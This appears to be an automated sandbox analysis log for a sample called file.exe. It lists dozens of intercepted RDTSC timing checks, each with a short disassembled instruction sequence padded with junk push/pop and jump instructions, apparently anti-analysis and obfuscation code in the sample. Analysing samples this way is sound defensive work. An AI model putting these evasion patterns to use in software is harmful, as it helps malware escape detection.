Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFCAA second address: FBFCE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d jmp 00007F230C5197AAh 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jmp 00007F230C5197B1h 0x0000001c mov eax, dword ptr [eax] 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFCE5 second address: FBFCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFD7C second address: FBFD8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F230C5197A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC023D second address: FC0244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0609 second address: FC0612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0612 second address: FC065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F230C515284h 0x0000000f mov dword ptr [ebp+12469D82h], esi 0x00000015 pop edx 0x00000016 lea eax, dword ptr [ebp+124710CFh] 0x0000001c jmp 00007F230C515281h 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 js 00007F230C515276h 0x0000002b jc 00007F230C515276h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC065F second address: FC0665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0665 second address: FC0669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0669 second address: FA6F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 ja 00007F230C5197A6h 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c mov edx, esi 0x0000001e call dword ptr [ebp+122D1BF2h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6F55 second address: FA6F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007F230C51528Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6F74 second address: FA6F93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F230C5197B6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6F93 second address: FA6FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F230C515276h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F230C515286h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6FB9 second address: FA6FE7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F230C5197A6h 0x00000008 jmp 00007F230C5197B3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 je 00007F230C5197A6h 0x0000001a push edx 0x0000001b pop edx 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6FE7 second address: FA6FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F230C51527Fh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC683 second address: FFC687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC687 second address: FFC695 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F230C51527Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC695 second address: FFC699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC98B second address: FFC991 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC991 second address: FFC997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC997 second address: FFC99C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC99C second address: FFC9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003ED1 second address: 1003EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C515283h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003EE9 second address: 1003EEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003EEE second address: 1003F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C51527Ah 0x00000009 pop eax 0x0000000a jc 00007F230C51527Ch 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jc 00007F230C515286h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003F26 second address: 1003F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003F2A second address: 1003F2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004631 second address: 1004635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004635 second address: 1004651 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515280h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004A43 second address: 1004A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007F230C5197A6h 0x0000000c jl 00007F230C5197A6h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 jmp 00007F230C5197B5h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004A6F second address: 1004A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004A75 second address: 1004A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004BCE second address: 1004BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004BD2 second address: 1004BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F230C5197ABh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004BF0 second address: 1004BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004BF4 second address: 1004C1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B9h 0x00000007 ja 00007F230C5197A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004C1A second address: 1004C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004EEC second address: 1004EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004EF0 second address: 1004F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F230C515278h 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F230C51527Ch 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004F0F second address: 1004F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F230C5197ABh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004F25 second address: 1004F29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10053BD second address: 10053CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10087A3 second address: 10087B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515282h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10087B9 second address: 10087CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jp 00007F230C5197A6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop esi 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007F52 second address: 1007F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F230C515282h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007F69 second address: 1007F6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007F6F second address: 1007F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1007F75 second address: 1007F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008129 second address: 1008148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F230C515289h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008148 second address: 100814E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10082E6 second address: 1008303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C515288h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008303 second address: 100831E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F230C5197AAh 0x0000000a jmp 00007F230C5197AAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AB5A second address: 100AB5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AB5E second address: 100AB75 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F230C5197B1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AB75 second address: 100AB8A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F230C515287h 0x00000008 jmp 00007F230C51527Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A894 second address: 100A8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c jng 00007F230C5197A6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F3F2 second address: 100F3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F3F6 second address: 100F3FC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EC93 second address: 100EC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100EC97 second address: 100ECDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F230C5197B6h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop eax 0x00000012 popad 0x00000013 push esi 0x00000014 push ecx 0x00000015 jmp 00007F230C5197ACh 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100ECDB second address: 100ECDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101315F second address: 1013168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013168 second address: 101316C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101316C second address: 1013170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012740 second address: 1012758 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F230C515280h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10128D7 second address: 10128E1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F230C5197A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10128E1 second address: 1012912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b jo 00007F230C51529Bh 0x00000011 pushad 0x00000012 jmp 00007F230C515283h 0x00000017 jmp 00007F230C51527Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012A1B second address: 1012A25 instructions: 0x00000000 rdtsc 0x00000002 je 00007F230C5197ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012A25 second address: 1012A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F230C515287h 0x0000000e jmp 00007F230C51527Fh 0x00000013 push edx 0x00000014 pop edx 0x00000015 jno 00007F230C51527Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012A50 second address: 1012A59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012A59 second address: 1012A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012A65 second address: 1012A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012D53 second address: 1012D5D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F230C515276h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018794 second address: 10187A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197AEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10187A6 second address: 10187B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10187B4 second address: 10187BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10187BA second address: 10187BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10187BE second address: 10187CE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F230C5197A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10207A3 second address: 10207A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EEC1 second address: 101EEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jnp 00007F230C5197A6h 0x0000000c jg 00007F230C5197A6h 0x00000012 jns 00007F230C5197A6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EEDB second address: 101EEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007F230C515276h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101EEEA second address: 101EEEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F193 second address: 101F197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F764 second address: 101F768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F768 second address: 101F76E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F76E second address: 101F786 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F230C5197A6h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F230C5197A6h 0x00000012 jo 00007F230C5197A6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F786 second address: 101F7BF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F230C515276h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jmp 00007F230C515286h 0x00000016 jmp 00007F230C515281h 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FDAC second address: 101FDC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F230C5197A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101FDC3 second address: 101FDE8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F230C515276h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F230C515285h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102010F second address: 102014A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 jnp 00007F230C5197EBh 0x0000000c jmp 00007F230C5197B2h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F230C5197B9h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027F0C second address: 1027F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C515288h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028192 second address: 1028199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028199 second address: 10281C3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F230C51527Ah 0x00000008 push ecx 0x00000009 jmp 00007F230C51527Eh 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jnc 00007F230C515276h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10281C3 second address: 10281D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F230C5197A6h 0x00000009 jns 00007F230C5197A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028480 second address: 1028485 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028485 second address: 1028493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F230C5197A6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
